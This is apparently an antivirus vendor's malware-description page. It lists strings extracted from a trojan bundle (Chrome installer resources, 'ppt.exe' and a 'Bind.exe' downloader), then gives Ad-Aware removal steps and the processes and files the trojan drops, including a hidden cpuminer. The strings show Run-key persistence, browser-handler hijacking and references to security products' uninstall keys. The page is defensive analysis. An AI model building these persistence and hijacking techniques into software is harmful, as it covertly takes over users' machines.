RegOpenKeyExW
ADVAPI32.dll
GetWindowsDirectoryW
SetNamedPipeHandleState
TransactNamedPipe
WaitNamedPipeW
KERNEL32.dll
ole32.dll
OLEAUT32.dll
SetWindowsHookExW
UnhookWindowsHookEx
USER32.dll
CreateURLMonikerEx
urlmon.dll
WTSAPI32.dll
USERENV.dll
GetProcessHeap
PeekNamedPipe
GetCPInfo
zcÁ
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><ms_asmv2:trustInfo xmlns="urn:schemas-microsoft-com:asm.v3" xmlns:ms_asmv2="urn:schemas-microsoft-com:asm.v2"><ms_asmv2:security><ms_asmv2:requestedPrivileges><ms_asmv2:requestedExecutionLevel xmlns:ms_asmv3="urn:schemas-microsoft-com:asm.v3" level="asInvoker" ms_asmv3:uiAccess="false"></ms_asmv2:requestedExecutionLevel></ms_asmv2:requestedPrivileges></ms_asmv2:security></ms_asmv2:trustInfo><compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1"><application><supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"></supportedOS><supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"></supportedOS><supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"></supportedOS><supportedOS Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}"></supportedOS><supportedOS Id="{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}"></supportedOS></application></compatibility></assembly>
8%8-8g8}8
7)7/7:7@7|7
9 9$9(9,90949
2C3k3y35\5c5k5p5t5x5
7^7&:.:6:>:~:
< <$<(<,<0<4<8<<<@<
43,0,0,0
{6C288DD7-76FB-4721-B628-56FAC252E199}
Software\Classes\Interface\{0BA0D4E9-2259-4963-B9AE-A839F7CB7544}
Software\Classes\TypeLib\{7779FB70-B399-454A-AA1A-BAA850032B10}
Software\Classes\CLSID\{5C65F4B0-3651-4514-B207-D10CB699B14B}
ServerExecutable
.CommandExecuteImpl Class
.StubPath
ieframe.dll
dchrome.7z
chrome.packed.7z
VisualElementsManifest.xml
wow_helper.exe
Chrome-bin
\\.\pipe\GoogleCrashServices\
0.1.0.0
Chrome Installer
%SystemRoot%\System32\rundll32.exe
kernel32.dll
..htm
.html
.xhtml
Software\Microsoft\Windows NT\CurrentVersion\ProfileList\
.DEFAULT\
{7D2B3E1D-D096-4594-9D8F-A6667F12E0AC}
{A2DF06F9-A21A-44A8-8A99-8B9C84F29160}
Browse the web fast
Software\Microsoft\Windows\CurrentVersion\Uninstall\InternetQuickAccess
Software\Microsoft\Windows\CurrentVersion\App Paths
.shtml
.webp
https
webcal
URL Protocol
\.exe
DelegateExecute
Browser.Launch
\URLAssociations
\shell\open\ddeexec
windows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanel
" -- "%1"
GoogleChromeAutoLaunch
PendingFileRenameOperations
.binary_patching
registering_chrome
uninstalling_chrome_frame
chrmstp.exe
chrome.dll
chrome.exe
npchrome_frame.dll
chrome_frame_helper.dll
chrome_frame_helper.exe
ChromeFrameHelperWindowClass
new_chrome.exe
old_chrome.exe
delegate_execute.exe
Chrome
nacl64.exe
InstallerSuccessLaunchCmdLine
.HTML
IDR_OEMPG_EN.HTML
UninstallCmdLine
WebAccessible
CMSHTML.DLL
chrome_installer.log
hXXp://VVV.google.com/chrome/intl/$1/welcomeback-new.html
-chrome
-chromeframe
{8BA986DA-5100-405E-AA35-86F34A02ACBF}
AGoogle Chrome Frame
Google\Chrome Frame
Chrome in a Frame.
Uninstall Chrome Frame
Software\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome Frame
Ndebug.log
.\debug.log
\StringFileInfo\xx\%ls
Software\Microsoft\Windows\CurrentVersion\Run
Ddbghelp.dll
rpcrt4.dll
%s\%s.dmp
x-x-x-xx-xxxxxx
pepflashplayer.dll
gcswf32.dll
Crash Reports
script.log
resources.pak
shell32.dll
{A946A6A9-917E-4949-B9BC-6BADA8C7FD63}
mscoree.dll
- floating point support not loaded
- CRT not initialized
- Attempt to initialize the CRT more than once.
USER32.DLL
portuguese-brazilian
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\CR_7BF10.tmp\setup.exe
45.0.2433.0
nsit de mDNS.MPravidlo p
mDNS.DChromiumin saapuvien yhteyksien s
, joka sallii mDNS-liikenteen.IInbound na panuntunan para sa Chromium upang payagan ang trapiko ng mDNS.?R
.5Ulazno pravilo kako bi Chromium dopustio mDNS promet.EBej
iamas mDNS srautas.KIen
.<Peraturan masuk bagi Chromium untuk membolehkan trafik mDNS.5Inkomende regel zodat Chromium mDNS-verkeer toestaat.ERegel om innkommende trafikk for Chromium for
tillate mDNS-trafikk.DRegu
fego mDNS.<Regra de importa
fego mDNS.ARegula de intrare pentru Chromium pentru a permite traficul mDNS.
(mDNS-In)%Chromium (mDNS ien
.sInstallation failed due to unspecified error. If Google Chrome is currently running, please close it and try again.nInstallation failed due to unspecified error. If Chromium is currently running, please close it and try again.|La instalaci
rralo e intenta nuevamente.mInstallimine eba
.wAsennus ep
Google Chrome
.vInstalacija nije uspjela zbog nepoznate pogre
ajte ponovo.kA telep
jra.qPemasangan gagal karena kesalahan yang tidak diketahui. Jika Chromium sedang berjalan, tutup, lalu ulang kembali.mInstallazione non riuscita a causa di un errore imprecisato. Se Chromium
.mDiegimas nepavyko d
naujo.lInstal
.uPemasangan gagal disebabkan ralat yang tidak dinyatakan. Jika Chromium sedang dijalankan, sila tutup dan cuba semula.
De installatie is mislukt wegens een onbekende fout. Als Chromium momenteel actief is, moet je Chromium sluiten en het opnieuw proberen.rInstalleringen mislyktes p
o especificado. Se o Chromium estiver sendo executado, feche-o e tente novamente.rA instala
o especificado. Se o Chromium estiver em execu
ste znova.tNamestitev ni bila izvedena zaradi nedolo
.tInstallationen misslyckades p
k sedan igen.zUsanidi umeshindwa kwa sababu ya hitilafu isiyojulikana. Ikiwa Chromium inaendesha sasa, tafadhali ifunge na ujaribu tena.z
s reciente de Chromium. Si el software no funciona, desinstala Chromium y vuelve a intentarlo.oArvutis on juba Chromiumi uuem versioon. Kui tarkvara ei t
.vOvo ra
jra.~Komputer ini sudah memiliki Chromium versi yang lebih anyar. Jika perangkat lunak tidak bekerja, copot Chromium dan coba lagi.yQuesto computer ha gi
ste to znova.yTa ra
lar aplicacions al sistema. Proveu de tornar a executar l'instal
lador com a administrador.kNem
.sYou do not have appropriate rights for system-level installation. Try running the installer again as Administrator.nYou do not have appropriate rights for system-level install. Try running the installer again as Administrator.
n al nivel del sistema. Intenta ejecutar el instalador nuevamente como Administrador.uTeil ei ole s
ajte ponovno pokrenuti program za instalaciju kao administrator.jNincsenek meg a megfelel
.rNeturite reikiam
.rAnda tidak mempunyai hak wajar untuk pemasangan peringkat sistem. Cuba jalankan pemasang semula sebagai Pentadbir.
vel do sistema. Tente executar o instalador novamente como administrador.
vel do sistema. Tente executar o programa de instala
.cNem
vca.qNimate ustreznih pravic za namestitev na ravni sistema. Poskusite znova zagnati namestitveni program kot skrbnik.
.zDu har inte beh
r.uHuna haki zifaazo ili kufanya usakinishaji wa kiwango cha mfumo. Jaribu kutumia kisakinishi kama msimamiaji kompyuta.u
lid. Torneu a baixar Chromium.XArchiv instala
m Chromium znovu.JInstallationsarkivet er beskadiget eller ugyldigt. Download Chromium igen._Das Installationsarchiv ist besch
.NThe installer archive is corrupted or invalid. Please download Chromium again.NThe installer archive is corrupted or invalid. Please download Chromium again.REl archivo de instalaci
lido. Vuelve a descargar Chromium.GEl instalador est
lido. Descarga Chromium nuevamente.GInstalleri arhiiv on rikutud v
.9Asennusarkisto on virheellinen. Lataa Chromium uudelleen.RSira o di-wasto ang archive ng installer. Mangyaring i-download muli ang Chromium.qL'archive du programme d'installation est corrompue ou n'est pas valide. Veuillez t
a. Ponovo preuzmite Chromium.hA telep
t.;Arsip pemasang rusak atau tidak valid. Unduh Chromium lagi.RL'archivio di installazione
.XDiegimo programos archyvas sugadintas arba negalioja. Atsisi
.ZInstal
.JArkib pemasang rosak atau tidak sah. Sila muat turun Chromium sekali lagi.^Het archief van het installatieprogramma is beschadigd of ongeldig. Download Chromium opnieuw.HInstallasjonsarkivet er skadet eller ugyldig. Last ned Chromium p
nytt.RArchiwum instalatora jest uszkodzone lub nieprawid
a o download do Chromium novamente.dO arquivo do programa de instala
.SArch
Chromium znova.UArhiv namestitvenega programa je po
.MArkivet f
mta Chromium igen.RKumbukumbu ya kisakinishi imeharibika au ni batili. Tafadhali pakua Chromium tena.P
i torneu-ho a provar.kV syst
m a zkuste to znovu.sDer er registreret en modstridende installation af Chromium i dit system. Du skal afinstallere denne og pr
.bA conflicting installation of Chromium was found on the system. Please uninstall it and try again.bA conflicting installation of Chromium was found on the system. Please uninstall it and try again.jSe ha detectado una instalaci
lala y vuelve a intentarlo.fSe encontr
lala y vuelve a intentarlo.XS
uudelleen.dMay nakitang sumasalungat na pag-install ng Chromium sa system. Paki-uninstall ito at subukang muli.rUne installation de Chromium incompatible a
ajte ponovo.mA Chromium m
jra.PTerjadi konflik pemasangan Chromium pada sistem. Copot pemasangan dan coba lagi._Nel sistema
.ZSistemoje aptikta nesuderinama
.nSist
.^Pemasangan Chromium yang bercanggah telah dijumpai pada sistem. Sila nyahpasang dan cuba lagi.qEr is een conflicterende installatie van Chromium op het systeem gevonden. Verwijder deze en probeer het opnieuw.iDet ble funnet en konfliktskapende installasjon av Chromium p
nytt.uW systemie znaleziono zainstalowan
o conflituosa do Chromium no sistema. Desinstale e tente novamente.aFoi encontrada uma instala
.aV syst
ste to znova.YV sistemu je bila odkrita namestitev Chromiuma v sporu. Odstranite jo in poskusite znova.c
.XDet finns en annan installation av Chromium p
.WNebyla nalezena
,No installation of Chromium found to update.1No se han encontrado actualizaciones de Chromium..No se encontraron actualizaciones de Chromium./Ei leitud Chromiumi installi, mida v
.ANerasta joki
galima atnaujinti.DNetika atrasta neviena Chromium instal
o.JNu s-a g
t un error en el sistema operatiu durant la instal
. Torneu a baixar Chromium.QB
opera
m Chromium znovu.SDer opstod en fejl i operativsystemet under installationen. Download Chromium igen.pW
.WAn operating system error occurred during installation. Please download Chromium again.WAn operating system error occurred during installation. Please download Chromium again.mSe ha producido un error de sistema operativo durante el proceso de instalaci
n. Vuelve a descargar Chromium._Se produjo un error del sistema operativo durante la instalaci
n. Descarga Chromium nuevamente.MInstallimisel ilmnes operatsioonis
.EAsennuksessa ilmeni k
virhe. Lataa Chromium uudelleen.lMay naganap na error sa operating system sa panahon ng pag-install. Mangyaring i-download muli ang Chromium.tUne erreur du syst
ke operativnog sustava tijekom instalacije. Ponovo preuzmite Chromium.
jra a Chromiumot.WTerjadi kesalahan pada sistem operasi saat pemasangan berlangsung. Unduh Chromium lagi.cDurante l'installazione si
verificato un errore del sistema operativo. Scarica di nuovo Chromium.?
.MDiegiant
vyko operacin
.RInstal
.URalat sistem pengendalian berlaku semasa pemasangan. Sila muat turun Chromium semula.eEr is tijdens de installatie een fout opgetreden in het besturingssysteem. Download Chromium opnieuw.GDet oppsto en systemfeil under installering. Last ned Chromium p
nytt.QPodczas instalacji wyst
d systemu operacyjnego. Pobierz Chromium ponownie.cOcorreu um erro no sistema operacional durante a instala
ZOcorreu um erro no sistema operativo durante a instala
o. Transfira novamente o Chromium.[S-a produs o eroare de sistem de operare
cie sa vyskytla chyba opera
Chromium znova.INapaka v operacijskem sistemu med namestitvijo. Znova prenesite Chromium.V
.LEtt operativsystemsfel intr
=Chromium Windows Vista
Windows XP
Windows Vista
.GChromium
.@Windows Vista
AChromium requereix Windows Vista o Windows XP amb SP2 o superior.OChromium vy
aduje opera
m Windows Vista nebo Windows XP SP2 nebo vy
.DChromium kr
ver Windows Vista eller Windows XP med SP2 eller h
jere.KF
r Chromium ist Windows Vista oder Windows XP SP2 oder h
.AChromium requires Windows Vista or Windows XP with SP2 or higher.AChromium requires Windows Vista or Windows XP with SP2 or higher.LChromium est
disponible para Windows Vista o Windows XP con SP2 o superior.TPara usar Chromium Frame, se necesita Windows Vista o Windows XP con SP2 o superior.LChromium n
uab Windows Vistat v
i Windows XP-d v
on Windows Vista tai Windows XP SP2 tai uudempi.
QKinakailangan ng Chromium ang Windows Vista o Windows XP na may SP2 o mas mataas.QChromium requiert Windows Vista ou Windows XP avec SP2 ou une version ult
rieure.OChromium
.\Chromium zahtijeva sustav Windows Vista ili Windows XP sa servisnim paketom SP2 ili novijim.ZA Chromium futtat
hoz Windows Vista, illetve Windows XP SP2 vagy
ges.RChromium memerlukan Windows Vista atau Windows XP dengan SP2 atau yang lebih baru.KChromium richiede Windows Vista o Windows XP con SP2 o versioni successive.R
Windows XP SP2
.HChromium
Windows Vista
Windows XP
su SP2 ar naujesne versija.xP
ma Windows Vista vai Windows XP ar SP2, vai jaun
s versija.eChromium-
OChromium memerlukan Windows Vista atau Windows XP dengan SP2 atau lebih tinggi.FVoor Chromium is Windows Vista of Windows XP met SP2 of hoger vereist.DChromium krever Windows Vista eller Windows XP med SP2 eller h
yere.RChromium wymaga systemu Windows Vista b
Windows XP z dodatkiem SP2 lub nowszym.DO Chromium requer o Windows Vista ou Windows XP com SP2 ou superior.DO Chromium requer o Windows Vista ou Windows XP com SP2 ou superior.PChromium necesit
Windows Vista sau Windows XP cu SP2 sau o versiune ulterioar
m Windows Vista alebo Windows XP s bal
m.mZa Chromium potrebujete operacijski sistem Windows Vista ali Windows XP s servisnim paketom SP2 ali novej
vs Windows Vista eller Windows XP med SP2 eller senare.EChromium inahitaji Windows Vista au Windows XP iliyo na SP2 au zaidi.WWindows Vista
.FChromium
.EChromium
SChromium; Windows Vista veya Windows XP SP2 ya da daha ileri bir s
gerektirir.JChromium
u Windows Vista ho
c Windows XP c
Windows Vista
.yThe installer couldn't create a temporary directory. Please check for free disk space and permission to install software.yThe installer couldn't create a temporary directory. Please check for free disk space and permission to install software.
El instalador no pudo crear un directorio temporal. Verifique si hay espacio disponible en el disco y cuenta con permiso para instalar software.wInstallija ei suutnud luua ajutist kataloogi. Palun kontrollige vaba kettaruumi ja tarkvara installimise loa olemasolu.e
.xPemasang tidak dapat mencipta direktori sementara. Sila semak ruang cakera kosong dan kebenaran untuk memasang perisian.
lador no ha pogut descomprimir l'arxiu. Torneu a baixar Chromium.TInstala
m Chromium znovu.LInstallationsprogrammet kunne ikke pakke arkivet ud. Download Chromium igen.kDas Installationsprogramm konnte das Archiv nicht dekomprimieren. Bitte laden Sie Chromium erneut herunter.\
.KThe installer failed to uncompress archive. Please download Chromium again.KThe installer failed to uncompress archive. Please download Chromium again.]El programa de instalaci
n no ha podido descomprimir el archivo. Vuelve a descargar Chromium.LEl instalador no pudo descomprimir el archivo. Descarga Chromium nuevamente.NInstalleril ei
.PAsennusohjelma ei pystynyt purkamaan arkistotiedostoa. Lataa Chromium uudelleen.XNabigong i-uncompress ng installer ang archive. Mangyaring i-download muli ang Chromium.p
.LProgram za instalaciju nije dekomprimirao arhivu. Ponovo preuzmite Chromium.iNem siker
?Pemasang gagal membatalkan kompresi arsip. Unduh Chromium lagi.bIl programma di installazione non
.PDiegimo programai nepavyko i
.UInstal
.NPemasang gagal untuk menyahmampat arkib. Sila muat turun Chromium sekali lagi.SHet installatieprogramma kan het archief niet uitpakken. Download Chromium opnieuw.SInstallasjonsprogrammet kunne ikke dekomprimere arkivet. Last ned Chromium p
nytt.NInstalator nie mo
archiwum. Pobierz Chromium ponownie.aOcorreu uma falha no instalador ao descompactar o arquivo. Fa
a o download do Chromium novamente.dHouve uma falha no programa de instala
Chromium znova.MNamestitvenemu programu ni uspelo raz
.PDet gick inte att packa upp arkivet med installationsfilen. H
mta Chromium igen.LKisakinishi kilishindwa kufinyuza kumbukumbu. Tafadhali pakua Chromium tena.R
Web Browser
Navegador web
Web-preglednik
Browser web
Webov
Web Taray
s un navegador web que executa les p
gines web i les aplicacions a gran velocitat.
Chromium je webov
webov
ejte web bezpe
Chromium er en webbrowser, der k
rer websider og applikationer med lynets hast. Den er hurtig, stabil og brugervenlig. Beskyttelse mod malware og phishing er indbygget i Chromium, s
Chromium ist ein Webbrowser, der Webseiten und Apps in Sekundenschnelle l
Chromium is a web browser that runs webpages and applications with lightning speed. It's fast, stable, and easy to use. Browse the web more safely with malware and phishing protection built into Chromium.
Chromium es un navegador web que ejecuta p
ginas web y aplicaciones a gran velocidad. Es r
cil de utilizar. Chromium te permite navegar en la Web de forma m
ginas web y aplicaciones con la velocidad de la luz. Es r
cil de usar. Navega por la Web con seguridad y protecci
Ang Chromium ay isang web browser na nagpapatakbo ng mga webpage at application sa bilis ng kidlat. Ito ay mabilis, maaasahan, at madaling gamitin. Mas maingat na mag-browse sa web gamit ang proteksyon ng Chromium laban sa malware at phishing.
Chromium est un navigateur Web qui ex
cute les pages Web et les applications
une vitesse fulgurante. Il est rapide, stable et simple d'utilisation. Naviguez sur le Web en toute s
Chromium je web-preglednik koji munjevitom brzinom prikazuje web-stranice i aplikacije. Brz je, stabilan i jednostavan za upotrebu. Pregledavajte web sigurnije jer je za
mgyorsan futtatja a weboldalakat
Chromium adalah browser web yang menjalankan laman web dan aplikasi dengan kecepatan kilat. Browser ini cepat, stabil, dan mudah digunakan. Jelajahi web lebih aman dengan perlindungan dari perangkat lunak perusak dan phishing yang tertanam di dalam Chromium.
un browser web che esegue le pagine web e le applicazioni alla velocit
-Chromium.zChromium
Chromium merupakan penyemak imbas yang mengendalikan laman web dan aplikasi dengan kelajuan sepantas kilat. Chromium cepat, stabil dan mudah digunakan. Semak imbas web lebih selamat dengan perlindungan perisian hasad dan pancingan data terbina dalam Chromium.
Chromium is een webbrowser die webpagina's en applicaties bliksemsnel uitvoert. Chromium is snel, stabiel en eenvoudig in gebruik. Surf veiliger op internet met de in Chromium ingebouwde beveiliging tegen malware en phishing.
um navegador que executa p
ginas e aplicativos da web com alta velocidade.
cil de usar. Navegue na web com mais seguran
um navegador de internet que executa p
ginas Web e aplica
cil de utilizar. Navegue na Web com mais seguran
Chromium este un browser web care ruleaz
pagini web
i pe web
a webov
web bezpe
r en webbl
r webbsidor och appar blixtsnabbt. Den
Chromium, Web sayfalar
ran bir Web taray
sayesinde Web'de daha g
t web ch
c trang web v
t web nhanh,
t web tr
o Chromium.OChromium
executant actualment. Tanqueu Chromium i torneu-ho a provar.uNelze nainstalovat verzi prohl
Chromium a zkuste to znovu.nKan ikke installere den samme version af Chromium som den, der k
.iCan not install the same Chromium version that is currently running. Please close Chromium and try again.iCan not install the same Chromium version that is currently running. Please close Chromium and try again.|No se puede instalar la misma versi
ejecutando actualmente. Cierra Chromium y vuelve a intentarlo.rNo es posible instalar la misma versi
ejecutando. Cierra Chromium y vuelve a intentarlo.cEi saa installida sama Chromiumi versiooni, mis praegu t
.jChromiumista ei voi asentaa versiota, joka on t
uudelleen.tHindi ma-install ang parehong Bersyon ng Chromium na kasalukuyang tumatakbo. Pakisara ang Chromium at subukang muli.
.pNe mo
ajte ponovo.qNem lehet ugyanazt a Chromium-verzi
jra.mTidak dapat memasang Chromium versi yang sama dengan yang sedang Anda jalankan. Tutup Chromium dan coba lagi.iImpossibile installare una versione di Chromium uguale a quella in esecuzione. Chiudi Chromium e riprova.
.wNegalima
.iNevar instal
.oTidak boleh memasang versi Chromium yang sama dengan yang sedang dijalankan. Sila tutup Chromium dan cuba lagi.uKan niet dezelfde Chromium-versie installeren, omdat deze versie nu actief is. Sluit Chromium en probeer het opnieuw.[Kan ikke installere den samme Chromium-versjonen som kj
nytt.mNie mo
buj ponownie.pN
sendo executada. Feche o Chromium e tente novamente.wN
atualmente em execu
o. Feche o Chromium e tente novamente.rNu se poate instala aceea
ste to znova.iNi mogo
.mDet g
k igen.tHaiwezi kusakinisha toleo sawia la Chromium ambalo linaendeshwa hivi sasa. Tafadhali funga Chromium na ujaribu tena.e
ha fallat a causa d'un error no especificat. Torneu a baixar Chromium.JInstalace se z nezn
m Chromium znovu.UInstallationen mislykkedes p
.MInstallation failed due to unspecified error. Please download Chromium again.MInstallation failed due to unspecified error. Please download Chromium again.YLa instalaci
n ha fallado debido a un error no especificado. Vuelve a descargar Chromium.SLa instalaci
debido a un error no especificado. Descarga Chromium otra vez.JInstallimine eba
.PAsennus ep
.LInstalacija nije uspjela zbog nepoznate pogre
jra a Chromiumot.MPemasangan gagal karena kesalahan yang tidak ditentukan. Unduh Chromium lagi.WInstallazione non riuscita a causa di un errore imprecisato. Scarica di nuovo Chromium.7
.LNepavyko
.WInstal
.YPemasangan gagal disebabkan ralat yang tidak dinyatakan. Sila muat turun semula Chromium.ODe installatie is mislukt wegens een onbekende fout. Download Chromium opnieuw.UInstalleringen mislyktes p
nytt.UInstalacja nie powiod
a o download do Chromium novamente.WA instala
o especificado. Transfira novamente o Chromium .UInstalarea nu a reu
znova.HNamestitev ni uspela zaradi nenavedene napake. Znova prenesite Chromium.J
.KInstallationen misslyckades p

ppt.exe_3560:




.text
`.rdata
@.data
.rsrc
__MSVCRT_HEAP_SELECT
user32.dll
KERNEL32.dll
EnumWindows
USER32.dll
RegCloseKey
RegCreateKeyW
RegOpenKeyW
RegDeleteKeyW
RegDeleteKeyA
ADVAPI32.dll
ShellExecuteW
SHELL32.dll
COMCTL32.dll
GetCPInfo
%s\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\9158
%s\Microsoft\Internet Explorer\Quick Launch\9158
%s\9158
%s\%s
%s\*.*
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\9158
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{B5C48CDD-6C11-453D-91B4-59CFCE233D27}
%Program Files%\baidu\ppt.exe
<requestedExecutionLevel level="requireAdministrator"/>
%s\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\
%s\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\2345
%s\Microsoft\Internet Explorer\Quick Launch\User Pinned\StartMenu\
%s\Microsoft\Internet Explorer\Quick Launch\User Pinned\StartMenu\QQ
%s\Microsoft\Internet Explorer\Quick Launch\User Pinned\StartMenu\2345
%s\Microsoft\Internet Explorer\Quick Launch\
$.xlkkvd
%s\My Box.lnk
%s\QQ
%s\2345
k%s\9158
$.qmgc
%s\My Box
%s\PPT
%s\Rising Antivirus
SOFTWARE\Microsoft\Windows\CurrentVersion\Run
bf.desktop.bootpage.BootPage2
%s\ElTaces.exe
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\wenguanjia
%s\unins000.exe
%s\wenguanjia
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\%s
Software\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\{1A3BD145-3384-4F81-9F6C-10F045887FD3}
CLSID\{1A3BD145-3384-4F81-9F6C-10F045887FD3}
Software\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\{CF3CDEFB-31BE-43AE-B064-B9C62C883259}
CLSID\{CF3CDEFB-31BE-43AE-B064-B9C62C883259}
Software\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\{33A895C1-4269-466F-9B01-0C8AEFB64AC3}
CLSID\{33A895C1-4269-466F-9B01-0C8AEFB64AC3}
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{96F04C1B-E352-4A90-BED4-11A0FA968BC1}_is1
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\RAV
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\RZC
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\RSD
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\QQPCMgr
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\BaiduPinyin
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\2345Explorer
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\2345chrome
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\PPStream
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IQIYI Video
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\GeePlayer
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\QQBrowser
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\LiveRoom
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\bfAppEngine
Software\Microsoft\Windows\Shell\Associations\UrlAssociations\http\UserChoice
qqbrowser.exe
http\shell\open\command
%s\Internet Explorer\iexplore.exe
VVV.taobao.com
%s\Tencent\QQBrowser\qqbrowser.exe
kernel32.dll

Bind.exe_3584:




.text
`.rdata
@.data
__MSVCRT_HEAP_SELECT
user32.dll
KERNEL32.dll
USER32.dll
ShellExecuteA
SHELL32.dll
HttpQueryInfoA
InternetOpenUrlA
WININET.dll
GetCPInfo
GET%sHTTP/1.1
Range: bytes=%d-
%Program Files%\baidu\Bind.exe


Remove it with Ad-Aware

  1. Click (here) to download and install Ad-Aware Free Antivirus.
  2. Update the definition files.
  3. Run a full scan of your computer.


Manual removal*

  1. Terminate malicious process(es) (How to End a Process With the Task Manager):

    nsl13.tmp:2036
    %original file name%.exe:484
    nstF.tmp:1632
    setup3.tmp:3504
    nsy22.tmp:356
    nsg1E.tmp:1992
    setup3.exe:3480
    setup.exe:2492
    nsu2C.tmp:1056
    nsa3A.tmp:3436
    amisid.exe:824
    tmp37.tmp.exe:2216
    nsl5.tmp:972
    nsz25.tmp:928
    nsz25.tmp:252

  2. Delete the original Trojan file.
  3. Delete or disinfect the following files created/modified by the Trojan:

    %Documents and Settings%\%current user%\Local Settings\Temp\nsw16.tmp (3638 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsp3.tmp (15 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\ibf-cmi-1938953175.us-east-1.elb.amazonaws[1].htm (30 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsb7.tmp (15 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsl5.tmp (3616 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsq6.tmp (15 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsj2.tmp (7969 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsp4.tmp\inetc.dll (784 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\desktop.ini (67 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsw8.tmp (15 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\desktop.ini (67 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\ibf-cmi-1938953175.us-east-1.elb.amazonaws[1].htm (30 bytes)
    %Program Files%\baidu\is-SNOFS.tmp (601 bytes)
    %Program Files%\baidu\unins000.dat (934 bytes)
    %Program Files%\baidu\is-GPGM2.tmp (36 bytes)
    %Program Files%\baidu\is-7RHJS.tmp (34453 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\is-SBUS4.tmp\_isetup\_shfoldr.dll (23 bytes)
    %Program Files%\baidu\baidu.ini (25 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsz25.tmp (8472 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nso26.tmp\inetc.dll (20 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\Bundle_OperaRUnew[1].exe (8472 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\SilentInstaller_dotnet4[1].exe (152993 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\avg20.exe (40388 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsn34.tmp\ns35.tmp (9 bytes)
    %Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\kernel\lyra2re.cl (12 bytes)
    %Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\kernel\groestl256.cl (61 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsn34.tmp\nsis7z.dll (6360 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsn34.tmp\System.dll (11 bytes)
    %Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\kernel\blake.cl (9 bytes)
    %Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\kernel\bmw.cl (16 bytes)
    %Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\kernel\jh.cl (11 bytes)
    %Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\kernel\neoscrypt.cl (16 bytes)
    %Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\kernel\skein256.cl (3 bytes)
    %Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\kernel\neoscrypt-old.cl (25 bytes)
    %Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\kernel\lyra2v2.cl (5 bytes)
    %Documents and Settings%\%current user%\Application Data\cpuminer\msvcr120.dll (32784 bytes)
    %Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\kernel\darkcoin-mod.cl (41 bytes)
    %Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\kernel\keccak1600.cl (3 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsy33.tmp (99730 bytes)
    %Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\kernel\bmw256.cl (8 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsn34.tmp\UserInfo.dll (4 bytes)
